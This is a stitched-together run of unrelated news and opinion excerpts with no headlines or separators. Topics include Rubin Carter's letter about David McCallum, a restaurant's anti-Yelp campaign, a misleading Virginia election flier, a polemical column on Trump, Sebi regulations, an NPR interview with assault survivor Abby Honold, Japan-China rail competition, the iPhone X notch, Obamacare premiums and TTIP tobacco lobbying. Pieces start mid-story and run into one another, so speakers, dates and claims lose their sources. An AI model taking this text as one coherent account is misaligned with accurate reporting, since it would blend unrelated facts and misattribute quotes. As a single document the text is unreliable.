Even as his health deteriorated, he sent a letter to the New York Daily News in February demanding the release of Brooklyn man David McCallum, whom Mr. Carter said was wrongly convicted of murder and jailed in 1985 -- the year he was released -- with no evidence.
"I am now quite literally on my deathbed and am making my final wish, which those in authority have the power to grant," the letter reads, adding that Mr. Carter will be surprised if he sees heaven after his death. "To live in a world where truth matters and justice, however late, really happens, that world would be heaven enough for us all."
Davide Cerretini, owner of Botto Bistro in San Francisco, has decided to call out what he believes to be unfair Yelp practices. Cerretini had been getting as many as 15-20 calls per week from Yelp asking him to advertise with the reviewing website. Finally, Cerretini caved, but after he stopped advertising with Yelp after a while, he noticed something peculiar: namely, five-star reviews started disappearing, and one-star reviews began to pop up more frequently.
So what does he do? Cerretini decided to turn the whole debacle around by making it his mission to be the worst-reviewed restaurant in San Francisco. He put up a sign that advertised all of the restaurant’s faults, like charging for bread, not changing the TV channel, and adding on a $4 fee if guests want to “sniff” their marinara, or take a photo of it. At the bottom of the sign he boasts, “Hate us on Yelp and get 25 percent off any pizza for your one-star review!”
“I don’t have anything against Yelp. The idea is fantastic, but the blackmailing thing is ferocious,” Cerretini told SFGate. “I think I should be the one deciding if I’m on the site or not. At least I can be there on my terms. The only power they have is they make you reliable to them. So, I’m going to be one of the most unreliable restaurants.”
Here are some of our favorite reviews:
“Old people love this place. Eat somewhere better like Olive Garden, at least you'll get bread with your nasty food.”
“Had the cioppino and after going through the Manila clam shells, I found a stone, yes a solid stone. It messed up everything else after that. I know the broth is dark but can't understand how the cook missed it!”
“Great food and great service! I give it one star because the toilet paper in the restroom was too rough for my liking. I will be back next week.”
For the latest happenings in the food and drink world, visit our Food News page.
As we wrote Monday, the flier, which surfaced in largely African-American areas of the Hampton Roads region, is designed to look like an official communication from the state board of elections, even reproducing the board’s logo. It informs readers that becasue of expected high turnout on election day, November 4th, Democrats have been asked to vote November 5th.
Election day, of course, is November 4th for everyone.
Conyers wrote to Attorney General Michael Mukasey, asking him to take action. Conyer’s letter points out that, because there are legitimate concerns in Virginia about over-crowded polling places, and because the flier is designed to look like it comes from the state election board, it “has enough of a ring of truth to confuse voters and suppress turnout.”
The letter goes on to call the effort “an echo of the darkest days of our struggle for civil rights.”
Is he waving or drowning? Swimming or sinking?
I ask this question because we’re more than two months in and the trauma has not subsided, but it has, perhaps, bifurcated. Sure, Trump still shows alarming potential as a would-be tyrant, contemptuous of constitutional proprieties, and prone to trashing every last norm of liberal democracy. But he is also beginning to appear simultaneously as a rather weak chief executive, uninterested in competent management or follow-through, bedeviled by divisions within his own party, transfixed by cable news, and swiftly discrediting himself by an endless stream of lies, delusions, and conspiracy theories. Even the editorial page of The Wall Street Journal challenged his credibility last Tuesday. They did this because, at this point, among sane people, he quite obviously has none.
The polling, meanwhile, is brutal. Gallup puts Trump a full 21 percentage points below average for presidents at this point of their administration. Real Clear Politics’ poll of polls shows a new high in disapproval this week, over 50 percent, and a new low in approval, at 43. Gallup finds him in the upper 50s of disapproval, and in the upper 30s in approval. Even GOP-friendly Rasmussen now has his disapproval at 53. Quinnipiac sees his support among whites and men falling, and discovers that 60 percent of Americans think he’s dishonest and 61 percent say his values are different than theirs. Yesterday, Quinnipiac also found that the Republican Obamacare replacement — the first serious agenda item of the Trump era — is opposed by a whopping three-to-one margin. Money quote: “One out of every seven Americans, 14 percent, think they will lose their health insurance under the Republican plan. That 14 percent includes 27 percent of voters in families with household income below $30,000, 18 percent of working class families and 14 percent of middle class families.” Good luck with those midterms, guys.
In Washington this week, as this shambolic health-care plan staggered, zombielike, into the House, there was a palpable sense that political gravity may, for the first time, be operational around Trump. If he somehow muscles this legislation through, he will be stuck with an avalanche of angry.
So time to take a deep breath? I’d say a shallow one. I can see two possible scenarios that could follow a drawn-out Trump slump. One is the nightmare I’ve been having for more than a year now. A president hobbled domestically by his own party’s divisions and the opposition’s new energy may be tempted — Putin-like — to change the subject in a way that vaults him back to popularity. A foreign altercation from which he will not back down? A trade war? A smidge likelier, I’d say, is an over-the-top response to an inevitable jihadist terror attack in a major American city. A demagogue loses much of his power when he tries to wrestle complicated legislation through various political factions, in the way our gloriously inefficient Constitution requires. He regains it with rank fear, polarization, and a raw show of force. Heaven knows what the Constitution will look like once he’s finished.
The other possibility is that Trump really does at some point realize he’s sinking fast and decides on a hard pivot. He wants to win and be loved, and if he keeps losing and becomes more widely loathed with his current strategy, it’s by no means out of character for him to recalibrate. He could use the possible failure of Trumpcare to feed Paul Ryan to the Breitbartians, and reach out to Democrats on a tweaked Obamacare and infrastructure package. He could dump Bannon the way he dumped Manafort and bullshit his way through all the inconsistencies (the one thing he remains rather good at). He could wrest himself like Kong on Skull Island from the giant lizards and become the tribune of the forgotten men and women he wants to be, and combine nationalism and protectionism with, er, socialism, like his heroine Marine Le Pen. He could finally realize the potential he has thrown away so far, and become an American Perón.
The only snag with this strategy, of course, is that he could hard-pivot only to find himself a Kong who’s alienated from the GOP and obstructed by the emboldened Dems, a rogue, bleeding president without a party, marooned on his own island of polarized irrelevance.
Well, I can hope, can’t I?
One of the features of living in Washington is that one is rarely unmindful of humanity’s capacity to disappoint. I’ve long tried to be an optimist in these matters — because Washington contains plenty of individuals who are genuinely devoting their lives to the common good. (I swear. I know many of them, on both sides.) But watching previously rock-ribbed conservatives slowly give in to the pull of utter expediency these past few months has been a truly deflating experience. The grossest are those like Stephen Moore (or Mike Pence!), who were for decades a near-parody of ideological purism, and yet overnight saw the populist light.
But the lamest of the enablers are the anti-anti-Trumpers, those conservatives who know full well the depravity of this president, and yet focus on his opponents (I’m looking at you, National Review, with a few honorable exceptions). So much hysteria, these knowing right-wingers sigh. Ignore the character flaws, they urge. Just look at the tax cuts. And, er, Gorsuch! No, Trump won’t actually bring back a major tariff, they insist. Our system is far too robust for soft despotism. And so on. The Republicans who recently told us that an FBI investigation disqualified someone from the presidency are now telling us there’s nothing to see in the Russia mess. And the moralists who impeached a president because of his low character and lies are now silent when it comes to the putrid excrescence now preening in the Oval Office.
The Trumpeters have been ruthless in kneecapping anyone who hasn’t bowed to the Supreme Leader from the get-go.
But there have also been Republican writers who have bravely and clearly stood their ground. Avik Roy risked a lot to come out against Ryancare. Reihan Salam and Ross Douthat have not wavered from their prescient belief in reforming the GOP, while keeping Trump at a clear, distinct distance. My friend David Frum has had a real moment. George Will has been fired by Fox. David Brooks hasn’t caved. I even find myself in the odd position of being smack-bang at Bill Kristol’s side as he resists. Super-neocon Eliot Cohen has pulled no punches. Jen Rubin at the Washington Post is on a roll. Rod Dreher at The American Conservative believes the whole world is ending, but he still won’t acquiesce to Trump. Ditto Daniel Larison on foreign policy. David French, however, deserves a minor medal for this moment of dissent in National Review:
I’ve watched Christian friends laugh hysterically at Trump’s tweets, positively delighted that they cause fits of rage on the other side. I’ve watched them excuse falsehoods from reflexively-defensive White House aides, claiming “it’s just their job” to defend the president. Since when is it any person’s job to help their boss spew falsehoods into the public domain? And if that does somehow come to be your job, aren’t you bound by honor to resign? It is not difficult, in a free society, to tell a man (no matter how powerful they are or how much you love access to that power), “Sir, I will not lie for you.” Trump isn’t just doing damage to himself. As he lures a movement into excusing his falsehoods, he does damage to the very culture and morality of his base.
Those are fighting words. And not without consequences. The Trumpeters have been ruthless in kneecapping anyone who hasn’t bowed to the Supreme Leader from the get-go. And so, among once-formidably-tight conservative social circles, old friends no longer talk to each other; dinner parties careen into excruciating silences; social occasions are avoided; regular phone calls peter out; or you keep your eye open in order to avoid bumping into someone who has gone over to the dark side. Every now and again, you hear of another one disappearing into the Trumpian void, and you shake your head and sigh.
The catastrophe in the White House has, in this respect, been a good thing. Trump has decisively broken the unified bubble of right-wing conformity in Washington. There’s even some freshness in the intellectual air. And a whole new perspective on those many conservatives you once thought of as decent people. And on those you had previously given up on.
“We are not afraid,” declared Prime Minister Theresa May after the latest Islamist horror on Westminster Bridge. She went on about the importance of being “normal.” It’s a very British response to terrorism. It’s called stoicism — a quality unknown, it appears, in the home of the “brave.” Perhaps its highest moment of sangfroid was when the IRA bombed the very hotel in Brighton where the prime minister and much of her cabinet were staying while attending their annual party conference in 1984. Thatcher herself would have been killed if she had been in a different room in her hotel suite. A leading cabinet member had to be hauled out of rubble. Nonetheless, the next day, Thatcher, utterly undaunted, got up and gave her speech — almost as if nothing had happened. A few days later, she insisted: “We suffered a tragedy not one of us could have thought would happen in our country. And we picked ourselves up and sorted ourselves out as all good British people do.” Keep calm and carry on, and all that.
Compare this with, say, the reaction to the Boston marathon bombing. An entire city was brought to a standstill and locked down, while the pursuit of a deranged, unarmed teenager continued. You can understand that, I suppose, given that the suspect was still at large. But to subsequently celebrate the event with the slogan “Boston Strong” was perverse. The truth was: “Boston Shit-Scared.”
You can't say we didn't try.
Joke "candidate" Deez Nuts has captivated Washington's attention this week, and we wanted to make sure we had some hot content on the freshest face in the 2016 field. But thoughtful takes don't write themselves. For what it's worth, here's a complete listing of our attempts:
1. Welcome to silly season
Abandoned lede: "It's August. Congress members have gone home, President Obama is on vacation, and the presidential candidates have been wandering the Iowa State Fair. Months away from primary action and hungry for stories, political reporters have finally found a narrative to latch on to: Deez Nuts."
2. Is the election spoilable?
"After the first GOP debate, everyone was abuzz about the possibility that Donald Trump could run a third-party campaign for the presidency. Well, a new independent candidate has emerged: Deez Nuts. In a hypothetical three-way matchup, the candidate is running at 9 percent in North Carolina, according to Public Policy Polling, compared with Hillary Clinton's 38 percent and Donald Trump's 40 percent. But if he dropped out, who would get that 9 percent? Could Mr. Nuts be this cycle's Nader?"
3. The patriarchy lives on
"Men have controlled the White House for centuries. And even when it comes to the joke candidates, men continue to reign. Consider that the nation's attention is currently captivated by a joke candidate whose name is literally synonymous with male genitalia. Where's the female-themed humor? I'm not even joking. This really bugs me."
3.5. Several abandoned attempts at a female-themed joke candidate name
4. The president we can have a beer with
"Political science tells us that people vote based on a lot of factors: policy stances, a candidate's attractiveness, even the weather. But another question pops up again and again during presidential elections: Which candidate would you like to have a beer with? Unfortunately for upstart candidate Deez Nuts, aka Iowa 15-year-old Brady Olson, he's not even old enough to have a beer.
"Wait. He's not even old enough to run? Why am I writing this story again? What am I doing with my life?"
5. Literally anything that can get a respected NPR voice like, say, Ron Elving, to solemnly analyze "Deez Nuts" on air
(Admit it. You want to hear it, too.)
6. Something about the potential for family dynasties in the presidency, a la Bushes and Clintons?
This one admittedly isn't very fully formed, but it allows us to make lots of juvenile jokes (i.e., is his brother "Doze Nuts"?).
7. Maybe he could run for VP with NPR guest Pete Schweddy.
In a move that should facilitate the resolution of stressed assets, the Securities and Exchange Board of India (Sebi) on Wednesday exempted new investors in stressed firms as also in some instances banks from making the mandatory open offer to minority shareholders under the Sebi (Substantial Acquisition of Shares and Takeovers) Regulations, 2011. The capital markets watchdog said any acquisition following resolution plans approved by the National Company Law Tribunal under the Insolvency and Bankruptcy Code, 2016, would be exempt from an open offer.
Following a board meeting, the regulator also banned the issue of offshore derivative instruments against derivatives except on those used for hedging. Moreover, every subscriber to an ODI issued by a foreign portfolio investor (FPI) will be charged a “regulatory fee” of $1,000 once in three years. The move is seen to be one that discourages the issue of participatory notes by foreign investors.
Sebi chairman Ajay Tyagi also said the National Stock Exchange (NSE) and 14 key personnel had been issued a show-cause notice in the co-location case in which some brokers were allegedly given preferential treatment and speedier access to the exchange’s data feed. Tyagi said the regulator was looking into the possible connivance between NSE employees and brokers and unfair gains made by brokers. “We are also engaging forensic auditors to help the investigation team,” he said.
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The regulator said buyers acquiring stakes from banks via the strategic debt restructuring (SDR) scheme would also be exempted from making the mandatory open offer provided they retain the shares for a period of three years. Tyagi said in an interaction with reporters that unless new investors were given some relief, it was hard to see sales of distressed assets taking off. To be sure, banks have had limited success with SDR schemes so far and the new measure should help.
The capital market regulator’s amended rules come amid a renewed push by the government and the Reserve Bank of India to tackle bad loans head on. Indian banks are saddled with an estimated Rs10 lakh crore of stressed loans, or 13% of loans outstanding. Sebi also decided on Wednesday to exempt banks from making an open offer to minority shareholders if they acquired shares in a distressed company via any other mechanism other than the SDR.
Banks have in the past acquired shares in financially fragile and over-leveraged firms by converting a portion of their loans into equity. However, the total stake has never crossed 26% and, consequently, the purchase never triggered the open offer. An open offer is mandatory under the Sebi (Substantial Acquisition of Shares and Takeovers) Regulations, 2011. In other measures approved by the Sebi board on Wednesday, Category II alternate investment funds (AIFs) will now be eligible for relaxed rules relating to lock-in provisions much like Category I AIFs. The regulator feels the change would impart uniformity, make it easier to do business and expand the investor base available for capital raising.
Currently, in an initial public offering, the entire pre-issue capital held by persons other than the promoters is to be locked in for one year except those allotted to employees under the employee stock option scheme, equity shares held by a venture capital fund or Category I AIF or a foreign venture capital investors.
RACHEL MARTIN, HOST:
Senator Al Franken made it clear yesterday - he is not going to resign after accusations of sexual harassment. That's led to an especially uncomfortable situation for one young woman. Her name is Abby Honold, and she had asked Senator Franken to draft legislation related to sexual assault. It would pay for training for police officers to learn how to better treat survivors of these crimes. Honold proposed this because of her own experience. When she was 19 years old, she was raped at the University of Minnesota. Hours afterwards, Honold was in a hospital bed when a detective walked in.
ABBY HONOLD: And he said, just so you know, this isn't going to go anywhere. And I tried to tell him things as they would come up, and he would cut me off and say, you know, no, we need to go in chronological order. So by the end of my interview with them, I felt very frustrated. I just wanted to go home.
MARTIN: Honold says the officer was openly dismissive of her testimony and insinuated that she was responsible. But after the detective spoke with her, a forensic nurse came into her hospital room.
HONOLD: She sat down, and she just had a very calm energy. And, you know, she told me everything that she was going to do. She explained what the rape kit entailed. I was definitely nervous, but I trusted her.
MARTIN: After that interview with the nurse, the detective realized that he did have a case. As Honold's case went to the court, she started thinking about why she'd been able to tell that nurse a lot of painful details and realized it was because the nurse had the right training. Her rapist was sentenced to six years in prison last year. So that was all the background for Abby Honold when she heard Leeann Tweeden's story. Tweeden is the radio anchor who says Franken forcibly kissed her. Other women have accused Al Franken of touching them inappropriately. When she learned about this, Honold asked Senator Franken to take his name off her bill.
How long did it take you to then realize that he couldn't have his name on your bill anymore?
HONOLD: I made that decision pretty quickly. In this case, I had to care about the victims who may not be helped if his name remained attached to this legislation. And I reached out to his office, and we agreed that that was the best move to make.
MARTIN: How did you feel about having to make that decision because he had been in - so instrumental in getting you to this point?
HONOLD: It was really crushing to have to change this up, and especially, so many of the amazing people in Senator Franken's office that I've worked with - but I'm trying to remind myself that the most important thing is that victims are helped with this legislation.
MARTIN: May I ask whether or not you think Senator Franken should step down from his position because of the allegations of sexual harassment, which he has conceded?
HONOLD: I've tried to hold off from saying anything about that in particular. I can understand why people would want that. I also want to respect - you know, for example, Leeann Tweeden said that she didn't think he should resign, and so, of course, the part of me that wants to, you know, listen to victims first wants to respect that too.
MARTIN: But I guess I wonder if the central question here isn't the trade-off that happens. You know, Republicans in Alabama will point to Roy Moore and say, yes, his transgressions are abhorrent, but we need him in the Senate to further our own legislative priorities. And while you personally, Abby, might find Senator Franken's actions abhorrent, you appreciate his support for your particular legislation, and you're not willing to call him out and call on him to step down.
HONOLD: I wouldn't say that. I would say that I'm trying to respect Leeann Tweeden. If she came out tomorrow and she said that she wanted him to resign, I would back her up on that because it should be up to her. I certainly think he should be investigated, and I really don't think that it's appropriate that people who support him are trying to give him a pass based on what he's done in the Senate because that shouldn't matter, you know? There are people who do good things who assault and harass others, and there are people who don't do good things who assault and harass others, and they should all be held to the same standard.
MARTIN: We are in this collective awakening now as to the scope and the scale of sexual assault and sexual harassment in our culture - and an acknowledgement for the first time, really, of how difficult it is and has been for women to come forward. I wonder if you could just share how you have watched all of this unfold.
HONOLD: I think it's amazing. And I know that for a lot of survivors out there, it's really hard to hear this in the news every day. But I've noticed a big shift in people in my life who maybe haven't been victims of sexual violence or harassment, and I think that that's really important that people are starting to hear these stories.
MARTIN: The voice of Abby Honold, a 22-year-old survivor of sexual assault - Senator Amy Klobuchar is now on her bill.
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The news was a double whammy for Japan, as it followed a decision by Indonesia to drop a project to build its first high-speed train line. Jakarta rejected offers from the only bidders, Japan and China.
China’s U.S. announcement has raised alarm in Japan’s railway industry, which plans to bid for the construction of a West Coast link from Los Angeles to San Francisco. There is now the possibility that a Chinese group could outmaneuver a Japanese bid — in a replay of a tender to supply railcars for the Boston subway last year.
The Los Angeles-Las Vegas project will involve U.S. railroad company XpressWest and a Chinese consortium led by China Railway Corp., which emerged from the breakup of the former Ministry of Railways.
CRRC Corp., the world’s largest train maker by revenue, is also taking part in the project to build the roughly 370-km-long link, which begins as early as next September.
There are few details about the Chinese side’s participation in the California-Nevada project, including the size of the capital China will put up or how the project will be financed.
The news has caused concern among Japanese companies keen on securing deals for a high-speed rail service linking Los Angeles and San Francisco.
The stakes are high for Japanese manufacturers seeking to win the rights to the project, which aims to connect the two major metropolises in California in less than three hours with a train that runs at a top speed of over 350 kph by 2029.
A group of Japanese companies, including East Japan Railway Co. and Kawasaki Heavy Industries Ltd., has been promoting shinkansen technology for the route, backed by the government in Tokyo.
Prime Minister Shinzo Abe himself made a sales pitch to California Gov. Jerry Brown when he visited the United States last spring, stressing the strong track record of safety for the shinkansen.
A source familiar with the project said bidding procedures for passenger cars on the California link are expected to start by the end of this year.
Besides the Japanese alliance, other potential contenders for the project include CRRC and Germany’s Siemens AG.
Bids are also expected to open sometime around October and November for equipment, including traffic control systems and signals.
“Japanese companies have expressed interest in them, too,” the source said.
The source added, it seems the Japanese group aims to secure package deals for equipment and vehicles.
The Japanese consortium is proposing an energy-saving vehicle that employs key technologies adopted for the shinkansen and other trains. An executive of a consortium member company said their proposal “best fits the demands of California, which has stringent environmental conservation requirements and is prone to earthquakes.”
A major problem with the Japanese project, however, may be its price tag of $68 billion. The substantial budget it would require could face serious scrutiny from cost-sensitive taxpayers in California.
“In the selection of suppliers of vehicles and other equipment, attention will likely focus on bid prices for each group,” a source said. Concern is growing among Japanese consortium participants that their pitch, focusing on a high-quality product, may be defeated by a lower-priced Chinese proposal.
Such an outcome would create a sense of deja vu for Kawasaki Heavy after its failed 2014 bid to replace 284 vehicles on the Orange and Red lines of Boston’s subway system.
China CNR Corp. won the contract with Massachusetts Bay Transportation Authority last October with a cost estimate around 37 percent lower than Kawasaki Heavy’s.
China CNR, a state-run rolling stock builder, merged with its key competitor CSR Corp. in June to create CRRC, which is joining the Los Angeles-Las Vegas project.
CRRC says its revenue in the first six months of this year totals 91.81 billion yuan ($14.43 billion), outstripping the railway business sales of what was once called the world’s “Big Three” rolling stock makers — Canada’s Bombardier Inc., Siemens and France’s Alstom.
An official at China’s Ministry of Commerce said “China’s high-speed rail is superior to Japan’s in cost performance and in shortening work periods.”
Oh, sweet naiveté. Did anybody actually call out in advance that subtle little change was foreshadowing THE NOTCHALYPSE? Yes, yes, every time something changes it brings out the fear and loathing no matter what it is, but the level of OMG NEVER BUY APPLE AGAIN ... we saw this time, that was unprecedented. Personally, we think a phone with a bat-eared screen is kinda neat, but we're weird.There's a certain level of enthusiasm out there for clipping and masking and otherwise working around the new roundedness and notchedness ... but we think Marco has it right here:
This is the new shape of the iPhone. As long as the notch is clearly present and of approximately these proportions, it's unique, simple, and recognizable. It's probably not going to significantly change for a long time, and Apple needs to make sure that the entire world recognizes it as well as we could recognize previous iPhones. That's why Apple has made no effort to hide the notch in software, and why app developers are being told to embrace it in our designs...
So, we've got some rewriting to do in the next few weeks to have our apps fit nicely into The Brave New Notched World, and you probably do too we imagine; let's see what resources are out there!
First off, go over the relevant stuff over at the mothership:
More good reads on upgrading UI for the X at:
Templates to help you out:
*** Full view please! ***
Updated: Jan 6, 2011
UPDATE!!! (Feb 18, 2016)
A failed method for treating a detached retina during the period was to pass gold wire into the eye to let it drain. Algernon wants Thackery to use an electric current to get rid of the fluid build-up in his eye. The tool Thackery uses to hold the eye open is a very real device from the era. (Image courtesy of the Burns Archive.)
Algernon mentions cyclist “Major” Taylor, one of the 1st black champions in an American sport. Despite his wide fan base in Europe and Australia, Taylor faced a huge amount of racism at home. Fellow cyclists would box him out during races. In one case, he was knocked off his bike and choked unconscious. (Image courtesy of the Burns Archive.)
There was a huge building boom in New York (and other cities) at this time. The availability of steel, advances in architecture, as well as the growing wealth and expanding population, combined to send construction soaring. (Image courtesy of the Burns Archive.)
URBANA — A University of Illinois graduate student who was stranded in Iran by a new executive order on immigration may be making his way to campus this week, officials said Monday.
The UI reached out to U.S. Rep. Rodney Davis, R-Taylorville, to help Shayan Tabe Bordbar, a graduate student in computer science who flew home to Iran over winter break to get married and couldn't return because of President Donald Trump's executive order banning immigrants from that country and six others.
Bordbar had reapplied for his student visa from the U.S. Embassy in Dubai, as there is no embassy in Iran, and learned Jan. 26 that it had been renewed. But the executive order took effect the next day before he could pick it up, and he was told not to bother because he wouldn't be allowed into the country anyway.
A federal judge later put a temporary stay on the executive order, allowing Bordbar and others with valid visas to come back to the United States, though the Trump administration has appealed that decision.
In the meantime, Davis' office helped clear the way for Bordbar to pick up his visa, UI spokeswoman Robin Kaler said.
Reached by email Monday, Bordbar said he will be able to return to the United States if the judge's ruling holds for a few more days.
"But still the problem remains for my wife, since she didn't get the chance to schedule a visa interview," he said.
Ashley Phelps, spokeswoman for Davis, said the congressman is trying to facilitate a visa for Bordbar's wife, too.
"He could come today if he wanted to. I don't know if he's going to wait for his wife," she said.
If the judge's stay is overturned before he returns, "We have asked immigration if there is a waiver process, and we will continue to be in touch with Shayan moving forward," she said.
Davis and his staff are working on two other cases, both UI students stranded overseas, though Phelps said she couldn't provide details for privacy reasons.
"They've been really responsive," Kaler said.
The campus is urging anyone stuck overseas to "get back here as quickly as you can" while the temporary stay is still in effect, Kaler said. And it's advising international scholars on campus to use "extreme caution" before traveling outside the country.
"There is still a lot of uncertainty about this executive order," said Vice Provost Abbas Benmamoun, who heads a UI working group helping those affected by the new immigration rules.
Benmamoun said the campus is being proactive, asking the Illinois congressional delegation to work toward changing the policy and working to minimize the impact on students, faculty and visiting scholars.
"This is still in flux — what is going to happen, whether the courts are going to uphold the executive order, whether it's going to be extended to other countries," said Benmamoun, a U.S. citizen who is originally from Morocco.
Health insurance premiums for young people will rise in all 50 states under Obamacare, with an average increase of 260 percent, according to a study released Thursday.
The young and healthy segment of the uninsured is considered crucial for the Affordable Care Act to succeed. Former President Bill Clinton suggested last week that Obamacare only works "if young people show up."
However, an analysis of premiums both before and after the implementation of Obamacare shows that 18- to 35-year-olds are likely to opt out of high rates in the exchanges in favor of cheaper penalties for not having insurance.
According to a study released by the American Action Forum, post-Obamacare premiums will average $187.08 per month, up from $62 per month in 2013, a 202 percent increase. Overall, states averaged an increase of 260 percent.
Forty-four out of 50 states saw a three-digit percent increase, and in Vermont the cheapest available premium for a 30 year-old male nonsmoker will increase by $332.69, or 600 percent.
The American Action Forum, a center-right policy institute led by Douglas Holtz-Eakin, the former director of the Congressional Budget Office, compared premiums across the nation in 2013 to rates under the federally and state run exchanges in the heath insurance marketplace, which launched on Tuesday.
The group analyzed plans for a 30 year-old male non-smoker as the model for the so-called "young invincible." They presumed that if a healthy young person purchases health insurance, he would most likely choose the "bronze plan," the least expensive plan offered in the marketplace.
After analyzing each bronze-tier plan for a 30-year-old single male, every state saw an increase. Most saw an increase between 200 and 300 percent, with the top five occurring in Vermont, Georgia, Nebraska, Arkansas, and Wisconsin.
Massachusetts had the lowest increase at 9 percent, though the state is considered an "outlier" since it already had similar health care reforms put in place under former Republican Gov. Mitt Romney.
"[T]hat state’s insurance market has been subject to ACA-like reforms since 2006, bloating the premium for the lowest-cost pre-ACA policy to nearly $214, making it the highest of the 2013 premiums analyzed in this study," the report said.
Given the high costs of the premiums, the study predicts that even with subsidies, most of the young uninsured will opt to pay the penalty rather than sign up for health care.
Individuals between 100 and 400 percent of the federal poverty line are eligible for subsidies under the law.
Only those who earn up to 133 percent of the poverty line will have a financial incentive to join the health exchange. An individual with an income of $15,281.70 would receive a subsidy to cover 100 percent of their health care premiums.
Moving up the income bracket creates disincentives for the young to enroll. Those making $20,107.50, or 175 percent of the poverty line, will still face a $449 premium, which is three times higher than the penalty they would incur in 2014 ($103.57) if they did not purchase insurance.
An individual earning $37,342.50 will receive no subsidy at all and will face a minimum premium of $2,839, as opposed to a $275.92 penalty in 2014.
"Premium subsidies will do little to defray increased rates for young people, while penalties for noncompliance appear paltry when compared to the costs associated with coverage," the study said.
The report, written by Sam Cappellanti, a health care policy analyst at the AAF, points to numerous policies within Obamacare as the reason for higher premiums, most importantly "guaranteed issue" and "community rating."
Guaranteed issue is the portion of the law that restricts health insurers from denying coverage on the basis of preexisting conditions. The study notes that the policy forces insurers to pay more for high-risk individuals and enables others to apply for coverage after they get sick, making premiums go up for everyone else.
"Bringing higher cost individuals into the risk pool gives rise to premium increases for the young as the system has to accommodate enrollees requiring above-average expenditures," the study said.
Community rating under Obamacare mandates that insurance companies charge the same premium to individuals regardless of health history and current health status.
"In a guaranteed issue and community rating system, healthy individuals are perversely incentivized to wait to enroll in coverage until there is a true need," the study said.
Other factors driving up premiums are the Health Insurance Tax (HIT) and fees insurance companies must pay in the exchange, which are likely to be passed onto the consumer.
The policies work together to create what Cappellanti calls a "death spiral," making premiums jump "exponentially" in 2014.
"In response to rising costs, young healthy enrollees opt out of coverage, seeing the investment as financially disadvantageous given their low medical costs," the study said.
Liverpool manager Jurgen Klopp has pledged to give Steven Gerrard all the support he needs as he prepares for his first full season as the U18s coach.
Gerrard will take the squad for their first pre-season friendly against Burton Albion behind closed doors at St George's Park and Klopp is keen to help the former captain develop the club's next generation of players.
"I can imagine how excited he is," Klopp told the club's official website.
"It's a wonderful job to work with these skilled boys and to do the things you think are right for them, bring in new experience and learn a lot of things at the same time.
"It will be a fantastic time for him. Of course, we'll have a close relationship with him and the U23s, we always had it.
Corporate lobbying campaigners published documents that revealed the EU’s executive body had met and corresponded with lobbyists from British American Tobacco and Philip Morris.
But the documents, as released, revealed little else.
We’ll tell you what’s true. You can form your own view. From 15p €0.18 $0.18 $0.27 a day, more exclusives, analysis and extras.
Almost all the content, including the names of officials and tobacco lobbyists involved, the issues discussed and even the dates some meetings took place, had been redacted.
The documents relate to ongoing talks between the EU and the United States over the proposed TTIP free trade deal, as well as separate talks between the EU and Japan.
Critics of the trade talks, which centre on reducing the regulatory barriers to international trade for big business, said the documents back up fears that TTIP will allow tobacco giants to take legal action against the UK and other European governments who attempt to tighten smoking legislation.
Shape Created with Sketch. TTIP controversy: what an FOI request revealed Show all 14 left Created with Sketch. right Created with Sketch. Shape Created with Sketch. TTIP controversy: what an FOI request revealed 1/14 TTIP controversy Responding to a Freedom of Information request from an EU watchdog regarding contacts between officials and the tobacco industry, the European Commission released a set of documents that had been so heavily redacted as to be meaningless. In this 14-page letter from British American Tobacco from its London HQ, outlining its “serious concerns with the consistency of [redacted]”, only five per cent of the text was visible. 2/14 TTIP controversy Page 2 3/14 TTIP controversy Page 3 4/14 TTIP controversy Page 4 5/14 TTIP controversy Page 5 6/14 TTIP controversy Page 6 7/14 TTIP controversy Page 7 8/14 TTIP controversy Page 8 9/14 TTIP controversy Page 9 10/14 TTIP controversy Page 10 11/14 TTIP controversy Page 11 12/14 TTIP controversy Page 12 13/14 TTIP controversy Page 13 14/14 TTIP controversy Page 14 1/14 TTIP controversy Responding to a Freedom of Information request from an EU watchdog regarding contacts between officials and the tobacco industry, the European Commission released a set of documents that had been so heavily redacted as to be meaningless. In this 14-page letter from British American Tobacco from its London HQ, outlining its “serious concerns with the consistency of [redacted]”, only five per cent of the text was visible. 2/14 TTIP controversy Page 2 3/14 TTIP controversy Page 3 4/14 TTIP controversy Page 4 5/14 TTIP controversy Page 5 6/14 TTIP controversy Page 6 7/14 TTIP controversy Page 7 8/14 TTIP controversy Page 8 9/14 TTIP controversy Page 9 10/14 TTIP controversy Page 10 11/14 TTIP controversy Page 11 12/14 TTIP controversy Page 12 13/14 TTIP controversy Page 13 14/14 TTIP controversy Page 14
So-called “Big Tobacco” firms have already used similar legislation to sue countries around the world: Philip Morris used a comparable trade treaty to take legal action against Australia over mandatory plain cigarette packaging and is also suing Uruguay in a $25m lawsuit over its attempts to enlarge health warnings on cigarette packets.
The heavily redacted documents were released by Catherine Day, Secretary-General of the European Commission, in reply to a freedom of information transparency request by the research and campaign group Corporate Europe Observatory (CEO).
They include a 14-page letter from British American Tobacco, written on 15 May last year from the company’s London office, which sets out its “serious concerns with the consistency of [redacted]”.
The remaining 13 pages are blacked-out entirely with the exception of some perfunctory closing remarks. A previous letter from Commission officials to the tobacco company is also almost entirely redacted with the exception of a reference to “allegations” made by BAT, presumably over the trade talks.
In another document - a one-page summary of a meeting between Commission officials and the US cigarette firm Philip Morris - even the date of the meeting is removed.
CEO had argued for full disclosure of the documents citing the EU’s freedom of information law and the World Health Organisation’s Framework Convention on Tobacco Control. The latter’s guidelines oblige governments to limit interactions with the tobacco industry to a minimum and to ensure full transparency of those interactions that occur.
Ms Day refused the request allowing only “partial access” stating that the documents “contain elements that relate to the Commission’s negotiating position with regards to tobacco in the ongoing bilateral negotiations for a free trade agreement with the USA and Japan.”
She said: “Whilst I fully recognise the importance of transparency in enabling citizens to follow trade negotiations, I take the view that this public interest does neither outweigh the public interest in protecting the Commission’s international relations and decision-making process, nor the commercial interests of the companies in question in this case.”
The Secretary General said disclosure of the discussions with BAT would reveal the Commission’s negotiating positions and tactical considerations which, in turn, would weaken the EU’s position in the ongoing trade talks.
The CEO campaign group has said it was “deeply concerned about the Commission’s secrecy around its relations with tobacco industry lobbyists” and is preparing a complaint to the European Ombudsman.
Campaigners fear that a system of international-state dispute settlements (ISDS) created by TTIP will allow multinational firms including tobacco companies to sue European governments in tribunals ruled upon by lawyers.
Reacting to the publication of the redacted documents, TUC General Secretary Frances O’Grady said: “Trade agreements must be negotiated in the public interest not for private profit. The agreements currently being negotiated allow foreign investors, such as tobacco companies, privileged access to huge compensation payments for democratically-made decisions that might threaten their future profits.
